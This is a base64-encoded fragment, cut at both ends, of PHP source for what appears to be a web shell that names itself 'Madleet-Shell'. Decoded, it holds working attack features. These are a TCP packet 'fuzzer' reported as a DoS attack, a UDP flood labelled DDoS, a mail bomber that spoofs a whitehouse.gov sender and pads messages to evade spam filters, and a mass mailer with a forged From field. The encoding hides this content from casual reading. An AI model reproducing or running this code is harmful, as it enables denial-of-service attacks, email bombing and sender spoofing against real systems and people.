CAkdGltZXMgPSAkX0dFVFsndGltZXMnXTsgCiAgICAgICAkdGltZW91dCA9ICRfR0VUWyd0aW1lJ107IAogICAgICAgJHNlbmQgPSAwOyAKICAgICAgICRlbmRpbmcgPSAiIjsgCiAgICAgICAkbXVsdGlwbGllciA9ICRfR0VUWydtZXNzYWdlTXVsdGlwbGllciddOyAKICAgICAgICRkYXRhID0gIiI7IAogICAgICAgJG1vZGU9InRjcCI7IAogICAgICAgJGRhdGEgLj0gIkdFVCAvIjsgCiAgICAgICAkZW5kaW5nIC49ICIgSFRUUC8xLjFcblxyXG5cclxuXHJcblxyIjsgCiAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAidGNwIikgCiAgICAgICAgeyAKICAgICAgICAgICAgJG1vZGUgPSAidGNwIjsgCiAgICAgICAgfSAKICAgICAgICB3aGlsZSgkbXVsdGlwbGllci0tKSAKICAgICAgICB7IAogICAgICAgICAgICAkZGF0YSAuPSB1cmxlbmNvZGUoJF9HRVRbJ21lc3NhZ2UnXSk7IAogICAgICAgIH0gCiAgICAgICAgJGRhdGEgLj0gIiVzJXMlcyVzJWQleCVjJW4lbiVuJW4iOy8vIGFkZCBzb21lIGZvcm1hdCBzdHJpbmcgc3BlY2lmaWVycyAKICAgICAgICAkZGF0YSAuPSAiYnktTWFkbGVldC1zaGVsbCIuJGVuZGluZzsgCiAgICAgICAgJGxlbmd0aCA9IHN0cmxlbigkZGF0YSk7IAogICAgICAgICAKICAgICAgICAgCiAgICAgICBlY2hvICJTZW5kaW5nIERhdGEgOi0gPGJyIC8+IDxwIGFsaWduPSdjZW50ZXInPiRkYXRhPC9wPiI7IAogICAgICAgICAKICAgICAgIHByaW50ICJJIGFtIGF0IG1hIFdvcmsgbm93IDpEIDtEISBEb250IGNsb3NlIHRoaXMgd2luZG93IHVudGlsbCB5b3UgcmVjaWV2ZSBhIG1lc3NhZ2UgPGJyPiI7IAogICAgICAgZm9yKCRpPTA7JGk8JHRpbWVzOyRpKyspIAogICAgICAgeyAKICAgICAgICAgICAgJHNvY2tldCA9IGZzb2Nrb3BlbigiJG1vZGU6Ly8kSVAiLCAkcG9ydCwgJGVycm9yLCAkZXJyb3JTdHJpbmcsICR0aW1lb3V0KTsgCiAgICAgICAgICAgIGlmKCRzb2NrZXQpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgZndyaXRlKCRzb2NrZXQgLCAkZGF0YSAsICRsZW5ndGggKTsgCiAgICAgICAgICAgICAgICBmY2xvc2UoJHNvY2tldCk7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnRnV6emluZyBDb21wbGV0ZWQhJyk7PC9zY3JpcHQ+IjsgCiAgICAgICAgZWNobyAiRE9TIGF0dGFjayBhZ2FpbnN0ICRtb2RlOi8vJElQOiRwb3J0IGNvbXBsZXRlZCBvbiAiLmRhdGUoImg6aTpzIEEiKS4iPGJyIC8+IjsgCiAgICAgICAgZWNobyAiVG90YWwgTnVtYmVyIG9mIFBhY2tldHMgU2VudCA6ICIgLiAkdGltZXMgLiAiPGJyIC8+IjsgCiAgICAgICAgZWNobyAiVG90YWwgRGF0YSBTZW50ID0gIi4gSHVtYW5SZWFkYWJsZUZpbGVzaXplKCR0aW1lcyokbGVuZ3RoKSAuICI8YnIgLz4iOyAgCiAgICAgICAgZWNobyAiRGF0YSBwZXIgcGFja2V0ID0gIiAuIEh1bWFuUmVhZGFibGVGaWxlc2l6ZSgkbGVuZ3RoKSAuICI8YnIgLz4iOyAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICA/PiAKICAgICAgICA8Zm9ybSBtZXRob2Q9IkdFVCI+IAogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmdXp6IiAvPiAKICAgICAgICAgICAgPHRhYmxlIGlkPSJtYXJnaW5zIj4gCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDAwIiBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgSVAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9ImlwIiB2YWx1ZT0iMTI3LjAuMC4xIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICcxMjcuMC4wLjEnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nMTI3LjAuMC4xJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBQb3J0IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJwb3J0IiB2YWx1ZT0iODAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzgwJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzgwJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBUaW1lb3V0IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iY21kIiBuYW1lPSJ0aW1lIiB2YWx1ZT0iNSIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnNScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSc1JzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBObyBvZiB0aW1lcyAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0idGltZXMiIHZhbHVlPSIxMDAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzEwMCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScxMDAnOyIgLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBNZXNzYWdlIDxmb250IGNvbG9yPSJyZWQiPihUaGUgbWVzc2FnZSBTaG91bGQgYmUgbG9uZyBhbmQgaXQgd2lsbCBiZSBtdWx0aXBsaWVkIHdpdGggdGhlIHZhbHVlIGFmdGVyIGl0KTwvZm9udD4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9Im1lc3NhZ2UiIHZhbHVlPSIlUyV4LS1Tb21lIEdhcmJhZ2UgaGVyZSAtLSV4JVMiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJyVTJXgtLVNvbWUgR2FyYmFnZSBoZXJlIC0tJXglUycpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSclUyV4LS1Tb21lIEdhcmJhZ2UgaGVyZSAtLSV4JVMnOyIvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICB4IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAiPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJ3aWR0aDogMzBweDsiIGNsYXNzPSJjbWQiIG5hbWU9Im1lc3NhZ2VNdWx0aXBsaWVyIiB2YWx1ZT0iMTAiIC8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDUwMHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iTGV0IGl0IFJpcCEgOkQiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgICAgCiAgICAgICAgPC9mb3JtPiAKICAgICAgICA8P3BocCAKICAgIH0gCn0gCgoKLy9ERG9zIAoKZWxzZSBpZihpc3NldCgkX0dFVFsnZG9zJ10pKSAKeyAKICAgIGlmKGlzc2V0KCRfR0VUWydpcCddKSAmJiAKICAgIGlzc2V0KCRfR0VUWydleFRpbWUnXSkgJiYgCiAgICBpc3NldCgkX0dFVFsncG9ydCddKSAmJiAKICAgIGlzc2V0KCRfR0VUWyd0aW1lb3V0J10pICYmIAogICAgaXNzZXQoJF9HRVRbJ2V4VGltZSddKSAmJiAKICAgICRfR0VUWydleFRpbWUnXSAhPSAiIiAmJiAKICAgICRfR0VUWydwb3J0J10gIT0gIiIgJiYgCiAgICAkX0dFVFsnaXAnXSAhPSAiIiAmJiAKICAgICRfR0VUWyd0aW1lb3V0J10gIT0gIiIgJiYgCiAgICAkX0dFVFsnZXhUaW1lJ10gIT0gIiIgCiAgICApIAogICAgeyAKICAgICAgICRJUD0kX0dFVFsnaXAnXTsgCiAgICAgICAkcG9ydD0kX0dFVFsncG9ydCddOyAKICAgICAgICRleGVjdXRpb25UaW1lID0gJF9HRVRbJ2V4VGltZSddOyAKICAgICAgICRub09mQnl0ZXMgPSAkX0dFVFsnbm9PZkJ5dGVzJ107IAogICAgICAgJGRhdGEgPSAiIjsgCiAgICAgICAkdGltZW91dCA9ICRfR0VUWyd0aW1lb3V0J107IAogICAgICAgJHBhY2tldHMgPSAwOyAKICAgICAgICRjb3VudGVyID0gJG5vT2ZCeXRlczsgCiAgICAgICAkbWF4VGltZSA9IHRpbWUoKSArICRleGVjdXRpb25UaW1lOzsgCiAgICAgICB3aGlsZSgkY291bnRlci0tKSAKICAgICAgIHsgCiAgICAgICAgICAgICRkYXRhIC49ICJYIjsgCiAgICAgICB9IAogICAgICAgJGRhdGEgLj0gIi1ieS1NYWRsZWV0LVNoZWxsIjsgIAogICAgICAgcHJpbnQgIkkgYW0gYXQgbWEgV29yayBub3cgOkQgO0QhIERvbnQgY2xvc2UgdGhpcyB3aW5kb3cgdW50aWxsIHlvdSByZWNpZXZlIGEgbWVzc2FnZSA8YnI+IjsgCiAgICAgICAgCiAgICAgICB3aGlsZSgxKSAKICAgICAgIHsgCiAgICAgICAgICAgICRzb2NrZXQgPSBmc29ja29wZW4oInVkcDovLyRJUCIsICRwb3J0LCAkZXJyb3IsICRlcnJvclN0cmluZywgJHRpbWVvdXQpOyAKICAgICAgICAgICAgaWYoJHNvY2tldCkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBmd3JpdGUoJHNvY2tldCAsICRkYXRhKTsgCiAgICAgICAgICAgICAgICBmY2xvc2UoJHNvY2tldCk7IAogICAgICAgICAgICAgICAgJHBhY2tldHMrKzsgCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIGlmKHRpbWUoKSA+PSAkbWF4VGltZSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgIH0gCiAgICAgICAgfSAKICAgICAgICBlY2hvICI8c2NyaXB0PmFsZXJ0KCdERG9zIENvbXBsZXRlZCEnKTs8L3NjcmlwdD4iOyAKICAgICAgICBlY2hvICJET1MgYXR0YWNrIGFnYWluc3QgdWRwOi8vJElQOiRwb3J0IGNvbXBsZXRlZCBvbiAiLmRhdGUoImg6aTpzIEEiKS4iPGJyIC8+IjsgCiAgICAgICAgZWNobyAiVG90YWwgTnVtYmVyIG9mIFBhY2tldHMgU2VudCA6ICIgLiAkcGFja2V0cyAuICI8YnIgLz4iOyAKICAgICAgICBlY2hvICJUb3RhbCBEYXRhIFNlbnQgPSAiLiBIdW1hblJlYWRhYmxlRmlsZXNpemUoJHBhY2tldHMqJG5vT2ZCeXRlcykgLiAiPGJyIC8+IjsgIAogICAgICAgIGVjaG8gIkRhdGEgcGVyIHBhY2tldCA9ICIgLiBIdW1hblJlYWRhYmxlRmlsZXNpemUoJG5vT2ZCeXRlcykgLiAiPGJyIC8+IjsgCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICAgICAgPz4gCiAgICAgICAgPGZvcm0gbWV0aG9kPSJHRVQiPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9zIiAvPiAKICAgICAgICAgICAgPHRhYmxlIGlkPSJtYXJnaW5zIj4gCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDAwIiBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgSVAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9ImlwIiB2YWx1ZT0iMTI3LjAuMC4xIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICcxMjcuMC4wLjEnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nMTI3LjAuMC4xJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBQb3J0IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJwb3J0IiB2YWx1ZT0iODAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzgwJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzgwJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBUaW1lb3V0IDxmb250IGNvbG9yPSJyZWQiPihUaW1lIGluIHNlY29uZHMpPC9mb250PiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0idGltZW91dCIgdmFsdWU9IjUiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzUnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nNSc7IiAvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIEV4ZWN1dGlvbiBUaW1lIDxmb250IGNvbG9yPSJyZWQiPihUaW1lIGluIHNlY29uZHMpPC9mb250PiAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9ImV4VGltZSIgdmFsdWU9IjEwIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICcxMCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScxMCc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgTm8gb2YgQnl0ZXMgcGVyL3BhY2tldCAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0ibm9PZkJ5dGVzIiB2YWx1ZT0iOTk5OTk5IiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc5OTk5OTknKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nOTk5OTk5JzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDUwMHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iTGV0IGl0IFJpcCEgOkQiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgICAgCiAgICAgICAgPC9mb3JtPiAKICAgICAgICA8P3BocCAKICAgIH0gCn0gCgovLyBNYWlsIEJvbWJlciAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2JvbWInXSkpIAp7IAogICAgaWYoIAogICAgICAgIGlzc2V0KCRfR0VUWyd0byddKSAmJiAKICAgICAgICBpc3NldCgkX0dFVFsnc3ViamVjdCddKSAmJiAKICAgICAgICBpc3NldCgkX0dFVFsnbWVzc2FnZSddKSAmJiAKICAgICAgICBpc3NldCgkX0dFVFsndGltZXMnXSkgJiYgCiAgICAgICAgJF9HRVRbJ3RvJ10gIT0gJycgJiYgCiAgICAgICAgJF9HRVRbJ3N1YmplY3QnXSAhPSAnJyAmJiAKICAgICAgICAkX0dFVFsnbWVzc2FnZSddICE9ICcnICYmIAogICAgICAgICRfR0VUWyd0aW1lcyddICE9ICcnIAogICAgKSAKICAgIHsgCiAgICAgICAgJHRpbWVzID0gJF9HRVRbJ3RpbWVzJ107IAogICAgICAgIHdoaWxlKCR0aW1lcy0tKSAKICAgICAgICB7IAogICAgICAgICAgICBpZihpc3NldCgkX0dFVFsncGFkZGluZyddKSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAkZnJvbVBhZGQgPSByYW5kKDAsOTk5OSk7IAogICAgICAgICAgICAgICAgJHN1YmplY3RQYWRkID0gIiAtLSBJRCA6ICIucmFuZCgwLDk5OTk5OTkpOyAKICAgICAgICAgICAgICAgICRtZXNzYWdlUGFkZCA9ICJcblxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG4iLnJhbmQoMCw5OTk5OTk5OSk7IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9IAogICAgICAgICAgICAkZnJvbSA9ICJwcmVzaWRlbnQkZnJvbVBhZGRAd2hpdGVob3VzZS5nb3YiOyAKICAgICAgICAgICAgaWYoIW1haWwoJF9HRVRbJ3RvJ10sJF9HRVRbJ3N1YmplY3QnXS4kc3ViamVjdFBhZGQsJF9HRVRbJ21lc3NhZ2UnXS4kbWVzc2FnZVBhZGQsIkZyb206Ii4kZnJvbSkpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgJGVycm9yID0gMTsgCiAgICAgICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nYWxlcnQnPlNvbWUgRXJyb3IgT2NjdXJlZCE8L3A+IjsgCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgIH0gCiAgICAgICAgfSAKICAgICAgICBpZigkZXJyb3IgIT0gMSkgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiPHAgY2xhc3M9J2FsZXJ0Jz5NYWlsKHMpIFNlbnQhPC9wPiI7IAogICAgICAgIH0gCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICAgICAgPz4gCiAgICAgICAgPGZvcm0gbWV0aG9kPSJHRVQiPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYm9tYiIgLz4gCiAgICAgICAgICAgIDx0YWJsZSBpZD0ibWFyZ2lucyI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIFRvICAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0idG8iIHZhbHVlPSJ2aWN0aW1AZG9tYWluLmNvbSx2aWN0aW0yQGRvbWFpbi5jb20iIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJ3ZpY3RpbUBkb21haW4uY29tLHZpY3RpbTJAZG9tYWluLmNvbScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSd2aWN0aW1AZG9tYWluLmNvbSx2aWN0aW0yQGRvbWFpbi5jb20nOyIvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIFN1YmplY3QgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9InN1YmplY3QiIHZhbHVlPSJKdXN0IHRlc3RpbmcgbXkgRnVja2luZyBTa2lsbHohIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICdKdXN0IHRlc3RpbmcgbXkgRnVja2luZyBTa2lsbHohJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9J0p1c3QgdGVzdGluZyBteSBGdWNraW5nIFNraWxseiEnOyIgLz4KICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBOby4gb2YgVGltZXMgICAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0idGltZXMiIHZhbHVlPSIxMDAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzEwMCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScxMDAnOyIvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIFBhZCB5b3VyIG1lc3NhZ2UgKExlc3Mgc3BhbSBkZXRlY3Rpb24pIAogICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icGFkZGluZyIvPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPiAKICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im1lc3NhZ2UiIGNvbHM9IjE3MyIgcm93cz0iMTAiIGNsYXNzPSJjbWQiPk1hZGxlZXQtU2hlbGwgUm9ja3MhITwvdGV4dGFyZWE+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDM5MHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iU2VuZCEgOkQiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgICAgCiAgICAgICAgPC9mb3JtPiAgICAKICAgICAgICA8P3BocCAKICAgIH0gCn0gCgoKLy9NYXNzIE1haWxlciAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ21haWwnXSkpIAp7IAogICAgaWYoIAogICAgICAgIGlzc2V0KCRfR0VUWyd0byddKSAmJiAKICAgICAgICBpc3NldCgkX0dFVFsnZnJvbSddKSAmJiAKICAgICAgICBpc3NldCgkX0dFVFsnc3ViamVjdCddKSAmJiAKICAgICAgICBpc3NldCgkX0dFVFsnbWVzc2FnZSddKSAKICAgICkgCiAgICB7IAoKICAgICAgICBpZihtYWlsKCRfR0VUWyd0byddLCRfR0VUWydzdWJqZWN0J10sJF9HRVRbJ21lc3NhZ2UnXSwiRnJvbToiLiRfR0VUWydmcm9tJ10pKSAKICAgICAgICB7IAogICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nYWxlcnQnPk1haWwgU2VudCE8L3A+IjsgCiAgICAgICAgfSAKICAgICAgICBlbHNlIAogICAgICAgIHsgCiAgICAgICAgICAgIGVjaG8gIjxwIGNsYXNzPSdhbGVydCc+U29tZSBFcnJvciBPY2N1cmVkITwvcD4iOyAKICAgICAgICB9IAogI